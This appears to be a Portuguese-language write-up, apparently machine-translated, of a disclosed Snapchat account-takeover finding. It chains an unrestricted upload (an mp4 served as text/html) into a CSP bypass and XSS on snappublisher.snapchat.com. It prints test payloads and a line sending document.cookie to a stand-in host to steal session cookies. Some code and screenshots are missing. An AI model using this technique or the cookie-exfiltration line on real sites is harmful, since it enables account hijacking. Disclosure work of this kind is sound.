Assumindo contas do Snapchat
Neste artigo, apresentarei as descobertas da aquisição das contas da Web do Snapchat que encontrei junto com Dikla Barda.
Para realizar a aquisição das contas, tivemos que localizar o XSS em um domínio desconhecido do Snapchat e ignorar a proteção do CSP através do upload irrestrito de arquivos.
Técnico
Iniciamos a pesquisa no domínio principal www.snapchat.com e chegamos à conclusão de que o site foi verificado várias vezes e seria muito difícil encontrar uma falha de segurança no domínio. Por isso, decidimos tentar um subdomínio interessante que dificilmente é explorado pela varredura de todos os subdomínios.
A seguir uma lista parcial:
- snapchat.com
- www.snapchat.com
- blog.snapchat.com
- app.snapchat.com
- mail.snapchat.com
- support.snapchat.com
- mail2.support.snapchat.com
- s.snapchat.com
- v.snapchat.com
- accounts.snapchat.com
- go.snapchat.com
- tr.snapchat.com
- api.snapchat.com
- ads.snapchat.com
- business.snapchat.com
- learn.snapchat.com
- chat.snapchat.com
- publish.snapchat.com
- developer.snapchat.com
- snappublisher.snapchat.com
- link.snapchat.com
- auth.snapchat.com
- ops.snapchat.com
- calendar.snapchat.com
- se.snapchat.com
- docs.snapchat.com
Nós, então, escrevemos um script que iria passar por cada subdomínio e dar-nos alguns dados relevantes. Para selecionar um subdomínio relativamente novo e interessante, chegamos a:
ads.snapchat.com` Criamos duas contas para nós mesmos e começamos a pesquisar a funcionalidade do sistema que criamos:  Uma das funções que chamou nossa atenção foi a criação de um anúncio, clicamos em criar e fomos levados para o subdomínio:
snappublisher.snapchat.com`
O objetivo do estudo era capturar contas, então neste subdomínio começamos a examinar como a conta do usuário é gerenciada e onde é armazenada, para que possamos entender a nossa meta era possível ou não.
Depois de examinar todo o armazenamento do navegador e o processo de gerenciamento de contas de usuário, chegamos à conclusão de que existem dois cookies sem HTTPOnly cuja tarefa é identificar o usuário:
- JSESSIONID
- snapTicket
Se parecem assim:
O objetivo estava claro: precisamos encontrar uma maneira de roubar esses cookies e enviá-los para a conta de usuário.
Antes de começarmos a pesquisar o site e procurar uma maneira de fazê-lo, decidimos examinar quais proteções existem no site para planejar o melhor curso de ação.
Examinamos os títulos de resposta do aplicativo e vimos que o site tem as seguintes proteções:
- X-XSS protection
- Content Security Policy
- X-Frame-Option
O que pode ser visto na imagem a seguir:
Nota-se que o site usa CSP com configurações padrão, portanto, executar o XSS de maneira trivial não será possível.
Sobre CSP, eu explico detalhamento em meu livro –
Para contornar o CSP e executar o XSS em geral, teremos de encontrar duas falhas de segurança:
-
- Uma falha de segurança que nos permite fazer upload de arquivos como desejamos (unrestricted file upload)
-
- 2. Usar a primeira falha de segurança para executar o XSS.
Foi assim que começamos a focar nos mecanismos de upload de arquivos no sistema para ignorar o CSP:
Após examinar em profundidade o processo de upload de arquivos, descobrimos que o processo consiste em duas etapas.
Etapa 1: Enviar uma mensagem de postagem que retorne para nós o ID, que é basicamente o caminho para o arquivo que será carregado:
Etapa 2 é basicamente o upload do arquivo para o ID da etapa 1:
Notamos que não há restrição no conteúdo que enviamos. Inicialmente, tentamos fazer upload de um arquivo html, mas infelizmente ele vem com um anexo de disposição do conteúdo que faz com que o arquivo seja baixado em vez de o arquivo ser exibido pelo navegador.
Tentamos vários tipos diferentes de arquivos até conseguirmos fazer upload de um arquivo mp4 e, em seu tipo de conteúdo, digitamos text / html, por isso fizemos o navegador exibir o conteúdo do arquivo em vez de baixá-lo:
Primeiro, corrigimos o erro de codificação para que não atualizasse a página duas vezes, conforme mostrado no comentário. Ao inserir a seguinte tag na parte superior da área de dados - no formato mp4.
`` `
Em seguida, tentamos ignorar o CSP, primeiro causamos um erro no CSP adicionando o seguinte conteúdo ao arquivo:
<meta charset="UTF-8"><h1>test2</h1><script\>alert(1)</script>
qual introduziu o seguinte erro:
Como sabemos, o CSP permite o upload de código apenas do domínio ativado pelas regras do CSP e, como o CSP é definido aqui por padrão, só seria possível carregar scripts armazenados no mesmo domínio.
Portanto, desta vez, enviamos um arquivo limpo com o conteúdo:
alert(3)` e atualizamos nosso código que fez referência a esse arquivo para ignorar o CSP.
test2
contornando, portanto, o CSP.  E, como no início do estudo, detectamos que os cookies não estavam protegidos e podem ser facilmente roubados, substituímos o comando alert(3) para o seguinte código: `` window.location="https://my-domain.com/get_cookie.php?c="+document.cookie
Tudo o que restava fazer agora era simplesmente enviar o link que criamos para nossa segunda conta e, assim, fomos capazes de ignorar o CSP e obter acesso à conta.
Claro que o Snapchat respondeu com responsabilidade e corrigiu as descobertas dentro de alguns dias.